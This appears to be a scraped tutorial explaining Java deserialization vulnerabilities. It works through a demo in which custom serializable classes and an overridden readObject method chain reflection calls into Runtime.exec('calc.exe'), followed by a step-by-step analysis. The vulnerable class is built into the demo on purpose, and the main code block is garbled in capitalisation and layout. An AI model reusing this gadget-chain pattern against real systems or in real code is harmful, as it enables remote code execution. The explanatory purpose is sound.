Java deserialization principle-demo (ii)

Source: Internet
Author: User

Java deserialization principle-demo (ii) 0x00 test code and run results

Test code:

Package Test;import Java.io.bytearrayinputstream;import Java.io.bytearrayoutputstream;import java.io.IOException; Import Java.io.objectinputstream;import Java.io.objectoutputstream;import Java.io.serializable;public class Reflectionplay implements serializable{public static void Main (string[] args) throws Exception {new Reflec      Tionplay (). run ();          } public void Run () throws Exception {byte[] objectbytes=serialize (GetObject ());      Deserialize (objectbytes);          }//Returns the malicious object public in this method public object GetObject () {String command = "Calc.exe";          Object firstobject = Runtime.class; Reflectionobject[] Reflectionchains = {/* * Object runtime = Class.forName (             "Java.lang.Runtime"). GetMethod ("GetRuntime", new class[] {}). Invoke (null);    Class.forName ("Java.lang.Runtime"). GetMethod ("exec", String.class). Invoke (Runtime, "calc.exe");               * * *//Call the GetMethod method of Runtime.class, look for the GetRuntime method, get a methods object (get                  Runtime method)//equivalent to Runtime.class.getMethod ("GetRuntime", New Class[]{string.class,class[].class}) New Reflectionobject ("GetMethod", New Class[]{string.class, Class[].class}, New object[]{"GetRuntime", new Class[0]                  }),///Call method to Invoker methods to get a Runtime object//equivalent to Method.invoke (null), static method without passing in the object                  New Reflectionobject ("Invoke", New Class[]{object.class, Object[].class}, New Object[]{null, New Object[0]}), Call the Exec method of the runtime object and execute command as a parameter new Reflectionobject ("Exec", new CLASS[]{STRING.C          Lass}, New Object[]{command})};      return new ReadObject (New Reflectionchains (Firstobject, reflectionchains)); }/* * Serialize the object to a byte array * */public byte[] Serialize (final Object obj) throws IOException {Byt EarrayoutputstReam out = new Bytearrayoutputstream ();          ObjectOutputStream objout = new ObjectOutputStream (out);          Objout.writeobject (obj);      return Out.tobytearray (); }/* * Deserialize an object from a byte array * */public Object Deserialize (final byte[] serialized) throws IOException, Cl          assnotfoundexception {Bytearrayinputstream in = new Bytearrayinputstream (serialized);          ObjectInputStream Objin = new ObjectInputStream (in);      return Objin.readobject ();          }/* * A class that simulates a vulnerability, primarily providing the ability to reflect calls based on values in their own properties * */class Reflectionobject implements serializable{          Private String MethodName;          Private class[] paramtypes;          Private object[] args;               Public Reflectionobject (String methodName, class[] paramtypes, object[] args) {this.methodname = MethodName;              This.paramtypes = Paramtypes;          This.args = args; }//According to MethodName, Paramtypes to find the object method, using args as a parameterCall public Object transform (object input) throws Exception {Class Inputclass = Input.getclass ();          Return Inputclass.getmethod (MethodName, Paramtypes). Invoke (input, args);      }/* * A class to simulate the supply of malicious code, * The main function is to call Reflectionobject in series, together with Reflectionobject to form part of the vulnerability code * */          Class Reflectionchains implements serializable{private Object firstobject;          Private reflectionobject[] reflectionobjects; Public Reflectionchains (Object firstobject, reflectionobject[] reflectionobjects) {//reflectionchains constructor method thi              S.firstobject = Firstobject;          This.reflectionobjects = reflectionobjects;              } public Object execute () throws Exception {Object concurrentobject = Firstobject; for (Reflectionobject reflectionobject:reflectionobjects) {concurrentobject = REFLECTIONOBJECT.TRANSFO                  RM (Concurrentobject); System.out.printlN (concurrentobject);          } return concurrentobject; }}/** * A class waiting to be serialized, having a property and an overridden ReadObject method * and a way to execute the property in the ReadObject method * */Class Re          Adobject implements Serializable {private Reflectionchains reflectionchains;          Public ReadObject (Reflectionchains reflectionchains) {this.reflectionchains = Reflectionchains; }//When deserializing, this code will be called//when the method is called, its properties are empty private void ReadObject (Java.io.ObjectInputStream strea m) throws IOException, ClassNotFoundException {try {//to simulate when readobject,                  Some additional operations are performed on the properties of reflectionchains= (Reflectionchains) stream.readfields (). Get ("Reflectionchains", null);              Reflectionchains.execute ();              } catch (Exception e) {e.printstacktrace (); }          }      }    }

Operation Result:

0X01 Test Code Analysis

The classes involved:

class name whether to inherit Serializable Method Name
Reflectionobject Inherited Transform
Reflectionchains Inherited Execute
ReadObject Inherited ReadObject (rewrite)

Note: To create an anti-sequence vulnerability, you need to override the Readobjec method

Code Flow:

  1. Serialize (GetObject ()); Serializes an object
  2. GetObject (); Generates an Reflectionobject array containing three Reflectionobject objects, and then uses the Reflectionobject array to generate a Reflectionchains object. Continue to generate a ReadObject object using the Reflectionchains object

    new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),              //调用 Method 的 invoker 方法可以得到一个Runtime对象              // 等同于 method.invoke(null),静态方法不用传入对象new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),              //调用RunTime对象的exec方法,并将 command作为参数执行命令new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})};      return new ReadObject(new ReflectionChains(firstObject, reflectionChains));
  3. Deserialize (objectbytes); deserialize serialized bytes
    Deserializes the incoming bytes because the incoming byte is a Readobjec object that is serialized, so you need to call Readobjec's Readobjec method when deserializing (the method has been overridden)
    private void readObject(java.io.ObjectInputStream stream)              throws IOException, ClassNotFoundException {          try {              //用来模拟当readObject的时候,对自身的属性进行了一些额外的操作              reflectionChains= (ReflectionChains) stream.readFields().get("reflectionChains",null);              reflectionChains.execute();          } catch (Exception e) {              e.printStackTrace();          }      }

    Here we need to focus on looking at
    The arguments passed in when generating the ReadObject object are Reflectionchains objects, so the Execute () method called here is the Reflectionchains execute () method.
    Then analyze Reflectionchains's Execute () method:

    public Object execute() throws Exception {          Object concurrentObject = firstObject;          for (ReflectionObject reflectionObject : reflectionObjects) {              concurrentObject = reflectionObject.transform(concurrentObject);              System.out.println(concurrentObject);          }          return concurrentObject;      }

    Key code:

    It is known from the above that the parameter passed in when generating the Reflectionchains object is an Reflectionobject array, which means: traversing the reflectionobject array, Each element (Reflectionobject) executes a transform method
    Continue to analyze the transform method of Reflectionobject:

    public Object transform(Object input) throws Exception {          Class inputClass = input.getClass();  得到input对象是那个类的类名          return inputClass.getMethod(methodName, paramTypes).invoke(input, args);   通过类名调用该类的某一方法      }


    Attention:
    From the above analysis, it can be learned that the reflection chain is deserialized:
    Deserialize (objectbytes); Call the ReadObject method of the ReadObject class; Next call the Execute method of the Reflectionchains class Next, call the transform method of the Reflectionobject class by traversing the Reflectionobject array

0x02 Core Analysis

From the above code analysis, the final need to execute is the following code:

  New Reflectionobject ("GetMethod", New Class[]{string.class, Class[].class}, New object[]{"GetRuntime", new Class[0]}),//Invoker method can be called to get a Runtime object//equivalent to Method.invoke (null), static method does not have to pass in the                  Like new Reflectionobject ("Invoke", New Class[]{object.class, Object[].class}, New Object[]{null, New Object[0]}), Call the Exec method of the runtime object and execute command as a parameter new Reflectionobject ("Exec", New Class[]{string.class}, new Object[]{command })
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),    等同于执行了:Runtime.class.getMethod("getRuntime",new Class[]{String.class,Class[].class})new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),等同于执行了:method.invoke(null),静态方法不用传入对象new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})RunTime对象的exec方法,并将 command作为参数执行命令

The first object performs the completion of:
Runtime.class.getMethod ("GetRuntime", new Class[0]);
Result of output: Java.lang.Runtime.getRuntime () output is a class
The second object performs the completion of:
Runtime.class.getMethod ("GetRuntime", new Class[0]). Invoke (null, new object[0]);
Output: [email protected] Output is a runtime object
The second object performs the completion of:
Runtime t = (runtime) Runtime.class.getMethod ("GetRuntime", new Class[0]). Invoke (null, new object[0]);
T.exec ("Calc.exe")

Reference Link: http://www.freebuf.com/vuls/170344.html

Java deserialization principle-demo (ii)

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.